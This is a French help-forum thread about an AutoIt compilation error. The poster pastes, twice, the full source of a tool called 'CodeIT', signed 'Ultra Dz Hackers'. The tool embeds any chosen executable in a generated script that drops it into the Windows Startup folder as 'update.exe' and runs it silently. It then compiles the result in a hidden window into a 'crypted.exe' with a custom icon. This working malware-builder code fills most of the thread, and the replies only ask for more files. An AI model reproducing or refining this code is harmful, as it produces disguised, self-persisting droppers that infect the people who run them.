Probleme Compilation AutoIT
Fermé
AkrQm
Messages postés
5
Date d'inscription
mercredi 26 décembre 2012
Statut
Membre
Dernière intervention
22 janvier 2013
-
26 déc. 2012 à 22:15
Utilisateur anonyme - 16 févr. 2013 à 10:54
Utilisateur anonyme - 16 févr. 2013 à 10:54
A voir également:
- Probleme Compilation AutoIT
- Autoit - Télécharger - Divers Utilitaires
- Compilation pdf - Guide
- Breach compilation - Guide
- Comment faire une compilation video - Forum Montage et acquisition vidéo
- One piece compilation episode ✓ - Forum Cinéma / Télé
4 réponses
Utilisateur anonyme
29 déc. 2012 à 11:47
29 déc. 2012 à 11:47
Salut
Sans le code, on ne pourra pas t'aider...
Mais bon, utilises-tu des fileinstall ?
++
Sans le code, on ne pourra pas t'aider...
Mais bon, utilises-tu des fileinstall ?
++
AkrQm
Messages postés
5
Date d'inscription
mercredi 26 décembre 2012
Statut
Membre
Dernière intervention
22 janvier 2013
29 déc. 2012 à 16:20
29 déc. 2012 à 16:20
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
FileInstall("to.exe", @TempDir & "\to.exe", 9)
FileInstall("AutoItSC.bin", @TempDir & "\AutoItSC.bin", 9)
FileInstall("ma.jpg", @TempDir & "\ma.jpg", 9)
FileInstall("skin.style", @TempDir & "\skin.style", 9)
FileInstall("uskindll.dll", @TempDir & "\uskindll.dll", 9)
GLOBAL $HUSKINDLLHANDLE= - 1
FUNC _USKIN_LOADDLL()
LOCAL $SDLLNAME
$SDLLNAME= @TempDir & "\uskindll.dll"
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
$HUSKINDLLHANDLE= DLLOPEN($SDLLNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL("kernel32.dll", "handle", "LoadLibraryW", "wstr", $SDLLNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_EXIT()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinExit")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_INIT($SSKINNAME, $SUSERNAME= "ptr", $SREGCODE= "ptr")
LOCAL $VUSERNAME= "ptr", $VREGCODE= "ptr"
IF $HUSKINDLLHANDLE= - 1 AND NOT _USKIN_LOADDLL() THEN RETURN SETERROR(0, 0, 0)
IF STRINGLEN($SUSERNAME) THEN $VUSERNAME= "str"
IF STRINGLEN($SREGCODE) THEN $VREGCODE= "str"
DLLCALL($HUSKINDLLHANDLE, "int", "USkinInit", $VUSERNAME, $SUSERNAME, $VREGCODE, $SREGCODE, "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_LOADSKIN($SSKINNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinLoadSkin", "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_REMOVESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(1, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRemoveSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC
FUNC _DLLCLOSE()
DLLCLOSE($HUSKINDLLHANDLE)
ENDFUNC
FUNC _USKIN_RESTORESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRestoreSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_ABOUTSKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
LOCAL $RESULT= DLLCALL($HUSKINDLLHANDLE, "int", "USkinAboutSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC
ONAUTOITEXITREGISTER("__EXIT")
_USKIN_LOADDLL()
_USKIN_INIT(@TempDir & "\skin.style")
Sleep(1500)
#Region ### START Koda GUI section ### Form=e:\documents and settings\shq4\my documents\downloads\compressed\koda_1.7.3.0\forms\form32321.kxf
$Form1_1 = GUICreate(": CodeIT :", 243, 323, 339, 153)
$Server = GUICtrlCreateInput("Server", 0, 8, 209, 21)
$Button1 = GUICtrlCreateButton("....", 216, 8, 25, 17)
$icone = GUICtrlCreateInput("icone", 0, 40, 209, 21)
$Button2 = GUICtrlCreateButton("....", 216, 40, 25, 17)
$Button3 = GUICtrlCreateButton("CodeIT", 56, 296, 129, 25)
$Pic1 = GUICtrlCreatePic(@TempDir & "\ma.jpg", 16, 64, 209, 257)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
Local $mydocsfolder = "::{450D8FBA-AD25-11D0-98A8-0800361B1103}"
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
FileDelete(@TempDir & "\run.au3")
FileDelete(@TempDir & "\shq4.exe")
FileDelete(@TempDir & "\to.exe")
FileDelete(@TempDir & "\i.ico")
FileDelete(@TempDir & "\crypted.exe")
FileDelete(@TempDir & "\2.jpg")
Beep(700, 100)
MsgBox(0, "Code 37 ", " Bye :)")
Exit
Case $button1
$b = FileOpenDialog("Open File", @ScriptDir & "", "All Files (*.*)", 2)
GUICtrlSetData($Server, $b)
$yy = GUICtrlRead($Server)
Case $button2
$i = FileOpenDialog("Open File", @ScriptDir & "", "icone (*.ico)", 2)
GUICtrlSetData($icone, $i)
FileCopy($i, @TempDir & "\i.ico", 9)
Case $button3
FileCopy($yy, @TempDir & "\CodeIT.exe", 9)
$reg = FileSaveDialog("Choose a name.", $mydocsfolder, "all files (*.*)", 2)
$fname = StringTrimLeft($b, StringInStr($b, "\", 1, -1))
$path = StringTrimRight($b, StringLen($fname))
$f = FileOpen($b, 16)
$t = FileRead($f)
FileClose($f)
$z = StringRegExp($t, "(.{1,128})", 3)
$ubound = UBound($z)
$funcname = StringReplace($fname, ".", "_")
$funcname = StringRegExpReplace($funcname, "[^\w]", "")
$funcname = StringRegExpReplace($funcname, "[^\D]", "")
$string = "#NoTrayIcon" & @CRLF
$string &= 'FileDelete(@StartupDir & "\update.exe")' & @CRLF
$string &= '$yy = @StartupDir & "\update.exe"' & @CRLF
$string &= "sleep(2000)" & @CRLF
$string &= $funcname & "($yy)" & @CRLF & @CRLF
If $ubound = 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"'
ElseIf $ubound > 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"' & @CRLF
For $i = 1 To $ubound - 2 Step 1
$string &= ' $FileBin &= "' & $z[$i] & '"' & @CRLF
Next
$string &= ' $FileBin &= "' & $z[$ubound - 1] & '"' & @CRLF
EndIf
If $ubound > 0 Then
$string &= @CRLF
$string &= " $hFile = FileOpen($Name, 17)" & @CRLF
$string &= " If $hFile = -1 Then" & @CRLF
$string &= ' MsgBox(0, "Erreur", "Impossible de re-créer le fichier.")' & @CRLF
$string &= " Exit" & @CRLF
$string &= " EndIf" & @CRLF
$string &= " FileWrite($hFile, $FileBin)" & @CRLF
$string &= " FileClose($hFile)" & @CRLF & @CRLF
$string &= "EndFunc"
EndIf
GUICtrlSetData($Server,"wait ............")
GUICtrlSetData($icone,"Please ^ _ ^")
FileDelete(@TempDir & "\run.au3")
FileWrite(@TempDir & "\run.au3", $string)
$1 = @CRLF & @CRLF
$bat = 'run(@StartupDir & "\update.exe")'
$logfile = @TempDir & "/run.au3"
FileWriteLine($logfile, $1)
FileWriteLine($logfile, $bat)
Sleep(3000)
Run(@ComSpec & " /c %temp%\to.exe /in %temp%\run.au3 /out %temp%\crypted.exe /icon %temp%\i.ico /comp 4 /nopack", "", @SW_HIDE)
Sleep(4000)
ProcessWaitClose("to.exe")
Sleep(2000)
FileCopy(@TempDir & "\crypted.exe", $reg&".exe", 9)
sleep(2000)
If FileExists($reg&".exe") Then
GUICtrlSetData($Server,"|| done ||")
GUICtrlSetData($icone,"|| done ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || done || . Ultra Dz Hackers")
Else
GUICtrlSetData($Server,"|| Erreur ||")
GUICtrlSetData($icone,"|| Erreur ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || Erreur || . please try again")
EndIf
EndSwitch
WEnd
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
FileInstall("to.exe", @TempDir & "\to.exe", 9)
FileInstall("AutoItSC.bin", @TempDir & "\AutoItSC.bin", 9)
FileInstall("ma.jpg", @TempDir & "\ma.jpg", 9)
FileInstall("skin.style", @TempDir & "\skin.style", 9)
FileInstall("uskindll.dll", @TempDir & "\uskindll.dll", 9)
GLOBAL $HUSKINDLLHANDLE= - 1
FUNC _USKIN_LOADDLL()
LOCAL $SDLLNAME
$SDLLNAME= @TempDir & "\uskindll.dll"
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
$HUSKINDLLHANDLE= DLLOPEN($SDLLNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL("kernel32.dll", "handle", "LoadLibraryW", "wstr", $SDLLNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_EXIT()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinExit")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_INIT($SSKINNAME, $SUSERNAME= "ptr", $SREGCODE= "ptr")
LOCAL $VUSERNAME= "ptr", $VREGCODE= "ptr"
IF $HUSKINDLLHANDLE= - 1 AND NOT _USKIN_LOADDLL() THEN RETURN SETERROR(0, 0, 0)
IF STRINGLEN($SUSERNAME) THEN $VUSERNAME= "str"
IF STRINGLEN($SREGCODE) THEN $VREGCODE= "str"
DLLCALL($HUSKINDLLHANDLE, "int", "USkinInit", $VUSERNAME, $SUSERNAME, $VREGCODE, $SREGCODE, "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_LOADSKIN($SSKINNAME)
IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
DLLCALL($HUSKINDLLHANDLE, "int", "USkinLoadSkin", "str", $SSKINNAME)
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_REMOVESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(1, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRemoveSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC
FUNC _DLLCLOSE()
DLLCLOSE($HUSKINDLLHANDLE)
ENDFUNC
FUNC _USKIN_RESTORESKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
DLLCALL($HUSKINDLLHANDLE, "int", "USkinRestoreSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 1
ENDFUNC
FUNC _USKIN_ABOUTSKIN()
IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
LOCAL $RESULT= DLLCALL($HUSKINDLLHANDLE, "int", "USkinAboutSkin")
IF @ERROR THEN RETURN SETERROR(0, 0, 0)
RETURN 0
ENDFUNC
ONAUTOITEXITREGISTER("__EXIT")
_USKIN_LOADDLL()
_USKIN_INIT(@TempDir & "\skin.style")
Sleep(1500)
#Region ### START Koda GUI section ### Form=e:\documents and settings\shq4\my documents\downloads\compressed\koda_1.7.3.0\forms\form32321.kxf
$Form1_1 = GUICreate(": CodeIT :", 243, 323, 339, 153)
$Server = GUICtrlCreateInput("Server", 0, 8, 209, 21)
$Button1 = GUICtrlCreateButton("....", 216, 8, 25, 17)
$icone = GUICtrlCreateInput("icone", 0, 40, 209, 21)
$Button2 = GUICtrlCreateButton("....", 216, 40, 25, 17)
$Button3 = GUICtrlCreateButton("CodeIT", 56, 296, 129, 25)
$Pic1 = GUICtrlCreatePic(@TempDir & "\ma.jpg", 16, 64, 209, 257)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
Local $mydocsfolder = "::{450D8FBA-AD25-11D0-98A8-0800361B1103}"
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
FileDelete(@TempDir & "\run.au3")
FileDelete(@TempDir & "\shq4.exe")
FileDelete(@TempDir & "\to.exe")
FileDelete(@TempDir & "\i.ico")
FileDelete(@TempDir & "\crypted.exe")
FileDelete(@TempDir & "\2.jpg")
Beep(700, 100)
MsgBox(0, "Code 37 ", " Bye :)")
Exit
Case $button1
$b = FileOpenDialog("Open File", @ScriptDir & "", "All Files (*.*)", 2)
GUICtrlSetData($Server, $b)
$yy = GUICtrlRead($Server)
Case $button2
$i = FileOpenDialog("Open File", @ScriptDir & "", "icone (*.ico)", 2)
GUICtrlSetData($icone, $i)
FileCopy($i, @TempDir & "\i.ico", 9)
Case $button3
FileCopy($yy, @TempDir & "\CodeIT.exe", 9)
$reg = FileSaveDialog("Choose a name.", $mydocsfolder, "all files (*.*)", 2)
$fname = StringTrimLeft($b, StringInStr($b, "\", 1, -1))
$path = StringTrimRight($b, StringLen($fname))
$f = FileOpen($b, 16)
$t = FileRead($f)
FileClose($f)
$z = StringRegExp($t, "(.{1,128})", 3)
$ubound = UBound($z)
$funcname = StringReplace($fname, ".", "_")
$funcname = StringRegExpReplace($funcname, "[^\w]", "")
$funcname = StringRegExpReplace($funcname, "[^\D]", "")
$string = "#NoTrayIcon" & @CRLF
$string &= 'FileDelete(@StartupDir & "\update.exe")' & @CRLF
$string &= '$yy = @StartupDir & "\update.exe"' & @CRLF
$string &= "sleep(2000)" & @CRLF
$string &= $funcname & "($yy)" & @CRLF & @CRLF
If $ubound = 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"'
ElseIf $ubound > 1 Then
$string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"' & @CRLF
For $i = 1 To $ubound - 2 Step 1
$string &= ' $FileBin &= "' & $z[$i] & '"' & @CRLF
Next
$string &= ' $FileBin &= "' & $z[$ubound - 1] & '"' & @CRLF
EndIf
If $ubound > 0 Then
$string &= @CRLF
$string &= " $hFile = FileOpen($Name, 17)" & @CRLF
$string &= " If $hFile = -1 Then" & @CRLF
$string &= ' MsgBox(0, "Erreur", "Impossible de re-créer le fichier.")' & @CRLF
$string &= " Exit" & @CRLF
$string &= " EndIf" & @CRLF
$string &= " FileWrite($hFile, $FileBin)" & @CRLF
$string &= " FileClose($hFile)" & @CRLF & @CRLF
$string &= "EndFunc"
EndIf
GUICtrlSetData($Server,"wait ............")
GUICtrlSetData($icone,"Please ^ _ ^")
FileDelete(@TempDir & "\run.au3")
FileWrite(@TempDir & "\run.au3", $string)
$1 = @CRLF & @CRLF
$bat = 'run(@StartupDir & "\update.exe")'
$logfile = @TempDir & "/run.au3"
FileWriteLine($logfile, $1)
FileWriteLine($logfile, $bat)
Sleep(3000)
Run(@ComSpec & " /c %temp%\to.exe /in %temp%\run.au3 /out %temp%\crypted.exe /icon %temp%\i.ico /comp 4 /nopack", "", @SW_HIDE)
Sleep(4000)
ProcessWaitClose("to.exe")
Sleep(2000)
FileCopy(@TempDir & "\crypted.exe", $reg&".exe", 9)
sleep(2000)
If FileExists($reg&".exe") Then
GUICtrlSetData($Server,"|| done ||")
GUICtrlSetData($icone,"|| done ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || done || . Ultra Dz Hackers")
Else
GUICtrlSetData($Server,"|| Erreur ||")
GUICtrlSetData($icone,"|| Erreur ||")
Beep(700, 100)
MsgBox(0, "Code 37 ", " || Erreur || . please try again")
EndIf
EndSwitch
WEnd
Utilisateur anonyme
29 déc. 2012 à 17:06
29 déc. 2012 à 17:06
Salut
puis-je avoir l'image que tu utilises dans la Gui stp ?
Comme cela, je peux voir si à la compilation, cela change quelque chose
merci
++
puis-je avoir l'image que tu utilises dans la Gui stp ?
Comme cela, je peux voir si à la compilation, cela change quelque chose
merci
++
Utilisateur anonyme
16 févr. 2013 à 10:54
16 févr. 2013 à 10:54
Bonjour.
Pas de réponse, je ne suis plus le sujet.
Bonne continuation.
++
Pas de réponse, je ne suis plus le sujet.
Bonne continuation.
++